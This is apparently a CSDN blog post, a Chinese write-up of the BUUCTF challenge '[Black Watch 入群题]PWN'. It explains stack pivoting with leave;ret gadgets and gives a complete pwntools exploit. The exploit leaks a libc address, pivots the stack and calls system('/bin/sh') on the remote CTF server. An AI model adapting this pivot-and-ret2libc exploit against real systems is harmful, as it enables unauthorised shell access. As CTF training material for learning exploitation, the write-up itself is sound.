【BUUCTF】[Black Watch 入群题]PWN

【BUUCTF】[Black Watch 入群题]PWN

记录下刷题,方便自己以后回顾,写的很烂,还请见谅
本题要用栈迁移

先checksec,file和nc看下程序
32位,动态链接,无canary和pie
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
思路:vul_function()里最后的read能栈溢出,但位置太短,不够写rop,运用栈迁移跳转至跳转至上一个read,写入rop链,ret2libc后就能拿到shell了
主要是如何栈迁移:
leave ret相当于:
leave => mov esp, ebp; pop ebp;
ret => pop eip
pop eip相当于将栈顶数据给eip,栈顶就是rsp决定的,而leave时esp的值由rbp决定,两次leave ret即可控制esp为我们想要的地址。

引用下

程序运行(32位,64位同理):
1、当函数正常返回时,执行leave;ret指令(此处非执行我们覆盖的ret指令)
2、mov esp,ebp;将ebp的值赋给esp,此时esp和ebp同时指向ebp基址处,也就是我们设置的可控制的fake ebp值处。
3、pop ebp,弹出栈顶,也就是ebp的基址,这时会将我们设置的虚假的ebp值赋给ebp寄存器,同时esp+4上行
4、执行ret指令,ret指令相当于pop eip;此时栈顶为我们使用ROPgadget查找的leave;ret指令的地址。将这个地址弹出,赋给eip寄存器。esp+4上行
5、执行eip寄存器中的指令,leave指令;
6、mov esp,ebp;将ebp的值赋给esp,此时ebp寄存器中保存的值为我们设置的虚假的可控的地址,于是esp指向来了该可控地址
7、pop ebp;栈顶弹出赋给ebp,相当于该可控地址的第一个4位地址内容弹出,赋给ebp,可以设置4个a来padding,esp+4上行
8、执行ret,我们一般将此时esp指向的地址设为目标函数地址,就可执行目标函数了。
————————————————
版权声明:本文为CSDN博主「西杭」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/AcSuccess/article/details/104580019

exp:

from pwn import*
r=remote('node3.buuoj.cn',26380)
libc=ELF('./libc-2.23.so')
elf=ELF('./spwn')
context.log_level = 'debug'
context.arch = elf.arch
pd1='aaaa'+p32(elf.sym['write'])+p32(elf.sym['main'])
pd1+=p32(1)+p32(elf.got['write'])+p32(4)
r.send(pd1)
r.send('a'*0x18+p32(0x0804A300)+p32(0x08048408))
r.recvuntil('say?')
true=int(u32(r.recv(4)))
base=true-0xd43c0
print hex(true)
print hex(base)
binsh=0x15902b
system=0x0003a940
pd2='aaaa'+p32(base+system)+p32(0)+p32(binsh+base)
r.recvuntil('name?')
r.send(pd2)
r.recvuntil('say?')
r.send('a'*0x18+p32(0x0804A300)+p32(0x08048408))
r.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值